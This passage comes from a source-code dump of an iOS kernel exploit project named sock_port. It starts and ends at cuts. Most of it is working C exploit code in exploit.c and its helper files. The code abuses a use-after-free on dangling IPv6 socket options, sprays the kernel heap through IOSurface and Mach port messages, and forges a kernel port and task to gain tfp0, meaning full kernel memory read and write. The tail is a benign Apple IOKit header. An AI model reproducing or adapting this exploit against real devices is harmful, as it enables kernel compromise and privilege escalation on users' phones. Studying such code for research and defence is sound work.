i++) { // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND); int mtu; int pref; get_minmtu(sock, &mtu); // this is like doing rk32(options + 180); get_prefertempaddr(sock, &pref); // this like rk32(options + 184); // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176) /* from a hex dump: (lldb) p/x HexDump(options, 192) XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ ... XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ |-----------||-----------| minmtu here prefertempaddr here */ // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff); if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) { mach_port_destroy(mach_task_self(), p); close(sock); return ptr; } mach_port_destroy(mach_task_self(), p); } // close that socket. close(sock); return 0; } // function to cache our task port kernel address uint64_t task_self_addr() { static uint64_t cached_task_self_addr = 0; if (cached_task_self_addr) return cached_task_self_addr; else return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND); } // second primitive: read 20 bytes from addr void* read_20_via_uaf(uint64_t addr) { // create a bunch of sockets int sockets[128]; for (int i = 0; i < 128; i++) { sockets[i] = get_socket_with_dangling_options(); } // create a fake struct with our dangling port address as its pktinfo struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; bool found = false; int found_at = -1; for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); for (int j = 0; j < 128; j++) { int minmtu = -1; get_minmtu(sockets[j], &minmtu); if (minmtu == 0x41424344) { // found it! found_at = j; // save its index found = true; break; } } if (found) break; } free(fake_opts); if (!found) { printf("[-] Failed to read kernel\n"); return 0; } for (int i = 0; i < 128; i++) { if (i != found_at) { close(sockets[i]); } } void *buf = malloc(sizeof(struct in6_pktinfo)); get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf); close(sockets[found_at]); return buf; } uint64_t rk64_via_uaf(uint64_t addr) { void *buf = read_20_via_uaf(addr); if (buf) { uint64_t r = *(uint64_t*)buf; free(buf); return r; } return 0; } // third primitive: free a kalloced object at an arbitrary address int free_via_uaf(uint64_t addr) { // create a bunch of sockets int sockets[128]; for (int i = 0; i < 128; i++) { sockets[i] = get_socket_with_dangling_options(); } // create a fake struct with our dangling port address as its pktinfo struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; bool found = false; int found_at = -1; for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); for (int j = 0; j < 128; j++) { int minmtu = -1; get_minmtu(sockets[j], &minmtu); if (minmtu == 0x41424344) { // found it! found_at = j; // save its index found = true; break; } } if (found) break; } free(fake_opts); if (!found) { printf("[-] failed to setup freeing primitive\n"); return -1; } for (int i = 0; i < 128; i++) { if (i != found_at) { close(sockets[i]); } } struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo)); memset(buf, 0, sizeof(struct in6_pktinfo)); int ret = set_pktinfo(sockets[found_at], buf); free(buf); return ret; } static inline uint32_t mach_port_waitq_flags() { union waitq_flags waitq_flags = {}; waitq_flags.waitq_type = WQT_QUEUE; waitq_flags.waitq_fifo = 1; waitq_flags.waitq_prepost = 0; waitq_flags.waitq_irq = 0; waitq_flags.waitq_isvalid = 1; waitq_flags.waitq_turnstile_or_port = 1; return waitq_flags.flags; } uint64_t self_port_addr; mach_port_t get_tfp0() { printf("[!] exploit started!\n"); offsets_init(); kern_return_t ret = init_IOSurface(); if (ret) { printf("[-] can't init IOSurface!\n"); return MACH_PORT_NULL; } printf("[+] initialized IOSurface\n"); bool SMAP = false; if (pagesize == 0x4000) { struct utsname a; uname(&a); if (!strstr(a.machine, "iPad5,") && !strstr(a.machine, "iPad6,") && !strstr(a.machine, "iPhone8,")) { printf("[i] detected SMAP device\n"); SMAP = true; } } self_port_addr = task_self_addr(); // port leak primitive if (!self_port_addr) { printf("[-] failed to leak our task port address!\n"); goto err; } printf("[i] our task port: 0x%llx\n", self_port_addr); // kernel read primitive uint64_t ipc_space_kernel = rk64_via_uaf(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); if (!ipc_space_kernel) { printf("[-] kernel read primitive failed!\n"); goto err; } printf("[i] ipc_space_kernel: 0x%llx\n", ipc_space_kernel); // here we'll create a pair of pipes (4 file descriptors in total) // first pipe, used to overwrite a port pointer in a mach message int fds[2]; ret = pipe(fds); if (ret) { printf("[-] failed to create pipe\n"); goto err; } // make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512 uint8_t pipebuf[0x10000]; memset(pipebuf, 0, 0x10000); write(fds[1], pipebuf, 0x10000); // do write() to allocate the buffer on the kernel read(fds[0], pipebuf, 0x10000); // do read() to reset buffer position write(fds[1], pipebuf, 8); // write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked) // second pipe, used for our fake port int port_fds[2] = {-1, -1}; if (SMAP) { ret = pipe(port_fds); if (ret) { printf("[-] failed to create pipe\n"); goto err; } } // create fake port and fake task, put fake_task right after fakeport kport_t *fakeport = malloc(sizeof(kport_t) + 0x600); ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t)); bzero((void *)fakeport, sizeof(kport_t) + 0x600); fake_task->ref_count = 0xff; fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK; fakeport->ip_references = 0xd00d; fakeport->ip_lock.type = 0x11; fakeport->ip_messages.port.receiver_name = 1; fakeport->ip_messages.port.msgcount = 0; fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE; fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags(); fakeport->ip_srights = 99; fakeport->ip_kobject = 0; fakeport->ip_receiver = ipc_space_kernel; if (SMAP) { write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600); } // find the pipe buffers for both pipes #define rk64_check(addr) ({ uint64_t r; r = rk64_via_uaf(addr); if (!r) { usleep(100); r = rk64_via_uaf(addr); if (!r) { printf("[-] failed to read from '"#addr"'\n"); goto err;}}; r;}) uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD)); uint64_t fd_ofiles = rk64_check(p_fd + koffset(KSTRUCT_OFFSET_FILEDESC_FD_OFILES)); uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8); uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); uint64_t pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER)); printf("[*] pipe buffer: 0x%llx\n", pipe_buffer); uint64_t port_fg_data = 0; uint64_t port_pipe_buffer = 0; if (SMAP) { fproc = rk64_check(fd_ofiles + port_fds[0] * 8); f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB)); port_fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA)); port_pipe_buffer = rk64_check(port_fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER)); printf("[*] second pipe buffer: 0x%llx\n", port_pipe_buffer); } if (SMAP) { // align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t) fakeport->ip_kobject = port_pipe_buffer + sizeof(kport_t); } else { fakeport->ip_kobject = (uint64_t)fake_task; } if (SMAP) { // update our pipe buffer write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); } // create a new port, this one we'll use for tfp0 mach_port_t target = new_port(); if (!target) { printf("[-] failed to allocate port\n"); goto err; } // get its kernel address uint64_t target_addr = find_port_via_uaf(target, MACH_MSG_TYPE_COPY_SEND); if (!target_addr) { printf("[-] failed to leak target port address\n"); goto err; } // free the first pipe buffer ret = free_via_uaf(pipe_buffer); if (ret) { printf("[-] failed to free pipe buffer\n"); goto err; } // reallocate it while filling it with a mach message containing send rights to our target port mach_port_t p = MACH_PORT_NULL; for (int i = 0; i < 10000; i++) { // pipe is 0x10000 bytes so make 0x10000/8 pointers and save result as we'll use later p = fill_kalloc_with_port_pointer(target, 0x10000/8, MACH_MSG_TYPE_COPY_SEND); // check if spraying worked by reading first 8 bytes uint64_t addr; read(fds[0], &addr, 8); if (addr == target_addr) { // if we see the address of our port, it worked break; } write(fds[1], &addr, 8); // reset buffer position mach_port_destroy(mach_task_self(), p); // spraying didn't work, so free port p = MACH_PORT_NULL; } if (!p) { printf("[-] spraying failed!"); goto err; } if (SMAP) { // spraying worked, now the pipe buffer is filled with pointers to our target port // overwrite the first pointer with our second pipe buffer, which contains the fake port write(fds[1], &port_pipe_buffer, 8); } else { write(fds[1], &fakeport, 8); } // receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port! struct ool_msg *msg = malloc(0x1000); ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (ret) { free(msg); printf("[-] mach_msg() failed: %d (%s)\n", ret, mach_error_string(ret)); goto err; } mach_port_t *received_ports = msg->ool_ports.address; mach_port_t our_port = received_ports[0]; // fake port! free(msg); uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); #define kr32(addr, value)\ if (SMAP) {\ read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\ if (SMAP) {\ write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\ }\ value = 0x0;\ ret = pid_for_task(our_port, (int *)&value); uint32_t read64_tmp; #define kr64(addr, value)\ kr32(addr + 0x4, read64_tmp);\ kr32(addr, value);\ value = value | ((uint64_t)read64_tmp << 32) uint64_t struct_task; kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task); if (!struct_task) { printf("[-] kernel read failed!\n"); goto err; } printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task); printf("[+] Let's steal that kernel task port!\n"); // tfp0! uint64_t kernel_vm_map = 0; while (struct_task != 0) { uint64_t bsd_info; kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info); if (!bsd_info) { printf("[-] kernel read failed!\n"); goto err; } uint32_t pid; kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid); if (pid == 0) { uint64_t vm_map; kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map); if (!vm_map) { printf("[-] kernel read failed!\n"); goto err; } kernel_vm_map = vm_map; break; } kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task); } if (!kernel_vm_map) { printf("[-] failed to find kernel's vm_map\n"); goto err; } printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map); read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600); fake_task->lock.data = 0x0; fake_task->lock.type = 0x22; fake_task->ref_count = 100; fake_task->active = 1; fake_task->map = kernel_vm_map; *(uint32_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_ITK_SELF)) = 1; if (SMAP) { write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600); } init_kernel_memory(our_port); uint64_t addr = kalloc(8); if (!addr) { printf("[-] seems like tfp0 port didn't work?\n"); goto err; } printf("[*] allocated: 0x%llx\n", addr); wk64(addr, 0x4141414141414141); uint64_t readb = rk64(addr); kfree(addr, 8); printf("[*] read back: 0x%llx\n", readb); if (readb != 0x4141414141414141) { printf("[-] read back value didn't match\n"); goto err; } printf("[*] creating safer port\n"); mach_port_t new_tfp0 = new_port(); if (!new_tfp0) { printf("[-] failed to allocate new tfp0 port\n"); goto err; } uint64_t new_addr = find_port(new_tfp0, self_port_addr); if (!new_addr) { printf("[-] failed to find new tfp0 port address\n"); goto err; } uint64_t faketask = kalloc(0x600); if (!faketask) { printf("[-] failed to kalloc faketask\n"); goto err; } kwrite(faketask, fake_task, 0x600); fakeport->ip_kobject = faketask; kwrite(new_addr, (const void*)fakeport, sizeof(kport_t)); printf("[*] testing new tfp0 port\n"); init_kernel_memory(new_tfp0); addr = kalloc(8); if (!addr) { printf("[-] seems like the new tfp0 port didn't work?\n"); goto err; } printf("[+] tfp0: 0x%x\n", new_tfp0); printf("[*] allocated: 0x%llx\n", addr); wk64(addr, 0x4141414141414141); readb = rk64(addr); kfree(addr, 8); printf("[*] read back: 0x%llx\n", readb); if (readb != 0x4141414141414141) { printf("[-] read back value didn't match\n"); goto err; } // clean up port uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); uint32_t port_index = our_port >> 8; const int sizeof_ipc_entry_t = 0x18; wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0); wk64(is_table + (port_index * sizeof_ipc_entry_t), 0); wk64(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER), 0); // freed already via mach_msg() if (fds[0] > 0) close(fds[0]); if (fds[1] > 0) close(fds[1]); if (port_fds[0] > 0) close(port_fds[0]); if (port_fds[1] > 0) close(port_fds[1]); free((void *)fakeport); deinit_IOSurface(); return new_tfp0; err: if (port_fds[0] > 0) close(port_fds[0]); if (port_fds[1] > 0) close(port_fds[1]); deinit_IOSurface(); return MACH_PORT_NULL; } ================================================ FILE: sock_port/exploit.h ================================================ // // exploit.h // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #ifndef exploit_h #define exploit_h #include #include #include #include #include #include #include "exploit_utilities.h" #include "kernel_memory.h" #define IPV6_USE_MIN_MTU 42 #define IPV6_PKTINFO 46 #define IPV6_PREFER_TEMPADDR 63 struct route_in6 { struct rtentry *ro_rt; struct llentry *ro_lle; struct ifaddr *ro_srcia; uint32_t ro_flags; struct sockaddr_in6 ro_dst; }; struct ip6po_rhinfo { struct ip6_rthdr *ip6po_rhi_rthdr; /* Routing header */ struct route_in6 ip6po_rhi_route; /* Route to the 1st hop */ }; struct ip6po_nhinfo { struct sockaddr *ip6po_nhi_nexthop; struct route_in6 ip6po_nhi_route; /* Route to the nexthop */ }; struct ip6_pktopts { struct mbuf *ip6po_m; int ip6po_hlim; struct in6_pktinfo *ip6po_pktinfo; struct ip6po_nhinfo ip6po_nhinfo; struct ip6_hbh *ip6po_hbh; struct ip6_dest *ip6po_dest1; struct ip6po_rhinfo ip6po_rhinfo; struct ip6_dest *ip6po_dest2; int ip6po_tclass; int ip6po_minmtu; int ip6po_prefer_tempaddr; int ip6po_flags; }; #define IO_BITS_ACTIVE 0x80000000 #define IOT_PORT 0 #define IKOT_TASK 2 #define IKOT_CLOCK 25 #define IKOT_IOKIT_CONNECT 29 typedef volatile struct { uint32_t ip_bits; uint32_t ip_references; struct { uint64_t data; uint64_t type; } ip_lock; // spinlock struct { struct { struct { uint32_t flags; uint32_t waitq_interlock; uint64_t waitq_set_id; uint64_t waitq_prepost_id; struct { uint64_t next; uint64_t prev; } waitq_queue; } waitq; uint64_t messages; uint32_t seqno; uint32_t receiver_name; uint16_t msgcount; uint16_t qlimit; uint32_t pad; } port; uint64_t klist; } ip_messages; uint64_t ip_receiver; uint64_t ip_kobject; uint64_t ip_nsrequest; uint64_t ip_pdrequest; uint64_t ip_requests; uint64_t ip_premsg; uint64_t ip_context; uint32_t ip_flags; uint32_t ip_mscount; uint32_t ip_srights; uint32_t ip_sorights; } kport_t; typedef struct { struct { uint64_t data; uint32_t reserved : 24, type : 8; uint32_t pad; } lock; // mutex lock uint32_t ref_count; uint32_t active; uint32_t halting; uint32_t pad; uint64_t map; } ktask_t; #define WQT_QUEUE 0x2 #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7) union waitq_flags { struct { uint32_t /* flags */ waitq_type:2, /* only public field */ waitq_fifo:1, /* fifo wakeup policy? */ waitq_prepost:1, /* waitq supports prepost? */ waitq_irq:1, /* waitq requires interrupts disabled */ waitq_isvalid:1, /* waitq structure is valid */ waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */ waitq_eventmask:_EVENT_MASK_BITS; }; uint32_t flags; }; mach_port_t get_tfp0(void); #endif /* exploit_h */ ================================================ FILE: sock_port/exploit_utilities.c ================================================ // // exploit_utilities.c // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #include "exploit_utilities.h" // from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) { mach_port_t q = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); if (err != KERN_SUCCESS) { printf("[-] failed to allocate port\n"); return 0; } mach_port_t* ports = malloc(sizeof(mach_port_t) * count); for (int i = 0; i < count; i++) { ports[i] = target_port; } struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg)); msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg); msg->hdr.msgh_remote_port = q; msg->hdr.msgh_local_port = MACH_PORT_NULL; msg->hdr.msgh_id = 0x41414141; msg->body.msgh_descriptor_count = 1; msg->ool_ports.address = ports; msg->ool_ports.count = count; msg->ool_ports.deallocate = 0; msg->ool_ports.disposition = disposition; msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("[-] failed to send message: %s\n", mach_error_string(err)); return MACH_PORT_NULL; } return q; } // Ian Beer size_t message_size_for_kalloc_size(size_t kalloc_size) { return ((3 * kalloc_size) / 4) - 0x74; } // Ian Beer mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size) { mach_port_t q = MACH_PORT_NULL; kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q); if (err != KERN_SUCCESS) { printf("[-] failed to allocate port\n"); return MACH_PORT_NULL; } mach_port_limits_t limits = {0}; limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE; err = mach_port_set_attributes(mach_task_self(), q, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT); if (err != KERN_SUCCESS) { printf("[-] failed to increase queue limit\n"); return MACH_PORT_NULL; } mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size; struct simple_msg *msg = (struct simple_msg *)malloc(msg_size); memset(msg, 0, sizeof(struct simple_msg)); memcpy(&msg->buf[0], replacer_message_body, replacer_body_size); for (int i = 0; i < 256; i++) { msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0); msg->hdr.msgh_size = msg_size; msg->hdr.msgh_remote_port = q; msg->hdr.msgh_local_port = MACH_PORT_NULL; msg->hdr.msgh_id = 0x41414142; err = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("[-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err)); return MACH_PORT_NULL; } } return q; } // rest is from machswap void trigger_gc() { const int gc_ports_cnt = 100; int gc_ports_max = gc_ports_cnt; mach_port_t gc_ports[gc_ports_cnt] = { 0 }; uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024 uint8_t *body = (uint8_t*)malloc(body_size); memset(body, 0x41, body_size); for (int i = 0; i < gc_ports_cnt; i++) { uint64_t t0, t1; t0 = mach_absolute_time(); gc_ports[i] = send_kalloc_message(body, body_size); t1 = mach_absolute_time(); if (t1 - t0 > 1000000) { printf("[+] got gc at %d -- breaking\n", i); gc_ports_max = i; break; } } for (int i = 0; i < gc_ports_max; i++) { mach_port_destroy(mach_task_self(), gc_ports[i]); } sched_yield(); sleep(1); } mach_vm_size_t pagesize = 0; const uint64_t IOSURFACE_CREATE_SURFACE = 0; const uint64_t IOSURFACE_SET_VALUE = 9; const uint64_t IOSURFACE_GET_VALUE = 10; const uint64_t IOSURFACE_DELETE_VALUE = 11; int init_IOSurface() { kern_return_t ret = KERN_SUCCESS; ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize); printf("[i] page size: 0x%llx, %s\n", pagesize, mach_error_string(ret)); if (ret != KERN_SUCCESS) { printf("[-] failed to get page size! ret: %x %s\n", ret, mach_error_string(ret)); return ret; } return !IOSurface_init(); } void deinit_IOSurface() { IOSurface_deinit(); } int spray_IOSurface(void *data, size_t size) { return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL); } ================================================ FILE: sock_port/exploit_utilities.h ================================================ // // exploit_utilities.h // sock_port // // Created by Jake James on 7/17/19. // Copyright © 2019 Jake James. All rights reserved. // #ifndef exploit_utilities_h #define exploit_utilities_h #include #include #include #include #include #include #include #include #include "iosurface.h" struct ool_msg { mach_msg_header_t hdr; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; }; struct simple_msg { mach_msg_header_t hdr; char buf[0]; }; size_t message_size_for_kalloc_size(size_t kalloc_size); mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition); mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size); void trigger_gc(void); enum { kIOCFSerializeToBinary = 0x00000001U, }; #define kOSSerializeBinarySignature 0x000000D3U enum { kOSSerializeDictionary = 0x01000000U, kOSSerializeArray = 0x02000000U, kOSSerializeSet = 0x03000000U, kOSSerializeNumber = 0x04000000U, kOSSerializeSymbol = 0x08000000U, kOSSerializeString = 0x09000000U, kOSSerializeData = 0x0a000000U, kOSSerializeBoolean = 0x0b000000U, kOSSerializeObject = 0x0c000000U, kOSSerializeTypeMask = 0x7F000000U, kOSSerializeDataMask = 0x00FFFFFFU, kOSSerializeEndCollection = 0x80000000U, kOSSerializeMagic = 0x000000d3U, }; extern mach_vm_size_t pagesize; extern const uint64_t IOSURFACE_CREATE_SURFACE; extern const uint64_t IOSURFACE_SET_VALUE; extern const uint64_t IOSURFACE_GET_VALUE; extern const uint64_t IOSURFACE_DELETE_VALUE; int init_IOSurface(void); void deinit_IOSurface(void); int spray_IOSurface(void *data, size_t size); #endif /* exploit_utilities_h */ ================================================ FILE: sock_port/include/IOKit/IOKitKeys.h ================================================ /* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. * * Common symbol definitions for IOKit. * * HISTORY * */ #ifndef _IOKIT_IOKITKEYS_H #define _IOKIT_IOKITKEYS_H // properties found in the registry root #define kIOKitBuildVersionKey "IOKitBuildVersion" #define kIOKitDiagnosticsKey "IOKitDiagnostics" // a dictionary keyed by plane name #define kIORegistryPlanesKey "IORegistryPlanes" #define kIOCatalogueKey "IOCatalogue" // registry plane names #define kIOServicePlane "IOService" #define kIOPowerPlane "IOPower" #define kIODeviceTreePlane "IODeviceTree" #define kIOAudioPlane "IOAudio" #define kIOFireWirePlane "IOFireWire" #define kIOUSBPlane "IOUSB" // registry ID number #define kIORegistryEntryIDKey "IORegistryEntryID" // IOService class name #define kIOServiceClass "IOService" // IOResources class name #define kIOResourcesClass "IOResources" // IOService driver probing property names #define kIOClassKey "IOClass" #define kIOProbeScoreKey "IOProbeScore" #define kIOKitDebugKey "IOKitDebug" // IOService matching property names #define kIOProviderClassKey "IOProviderClass" #define kIONameMatchKey "IONameMatch" #define kIOPropertyMatchKey "IOPropertyMatch" #define kIOPathMatchKey "IOPathMatch" #define kIOLocationMatchKey "IOLocationMatch" #define kIOParentMatchKey "IOParentMatch" #define kIOResourceMatchKey "IOResourceMatch" #define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch" #define kIONameMatchedKey "IONameMatched" #define kIOMatchCategoryKey "IOMatchCategory" #define kIODefaultMatchCategoryKey "IODefaultMatchCategory" // IOService default user client class, for loadable user clients #define kIOUserClientClassKey "IOUserClientClass" // key to find IOMappers #define kIOMapperIDKey "IOMapperID" #define kIOUserClientCrossEndianKey "IOUserClientCrossEndian" #define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible" #define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance" // diagnostic string describing the creating task #define kIOUserClientCreatorKey "IOUserClientCreator" // IOService notification types #define kIOPublishNotification "IOServicePublish" #define kIOFirstPublishNotification "IOServiceFirstPublish" #define kIOMatchedNotification "IOServiceMatched" #define kIOFirstMatchNotification "IOServiceFirstMatch" #define kIOTerminatedNotification "IOServiceTerminate" // IOService interest notification types #define kIOGeneralInterest "IOGeneralInterest" #define kIOBusyInterest "IOBusyInterest" #define kIOAppPowerStateInterest "IOAppPowerStateInterest" #define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest" #define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage" // IOService interest notification types #define kIOCFPlugInTypesKey "IOCFPlugInTypes" // properties found in services that implement command pooling #define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber) // properties found in services that have transfer constraints #define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber) #define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber) #define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber) #define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber) #define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber) #define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber) #define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber) #define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber) #define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber) #define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber) // properties found in services that wish to describe an icon // // IOIcon = // { // CFBundleIdentifier = "com.example.driver.example"; // IOBundleResourceFile = "example.icns"; // }; // // where IOBundleResourceFile is the filename of the resource #define kIOIconKey "IOIcon" // (OSDictionary) #define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString) #define kIOBusBadgeKey "IOBusBadge" // (OSDictionary) #define kIODeviceIconKey "IODeviceIcon" // (OSDictionary) // property of root that describes the machine's serial number as a string #define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString) // property of root that describes the machine's UUID as a string #define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString) // IODTNVRAM property keys #define 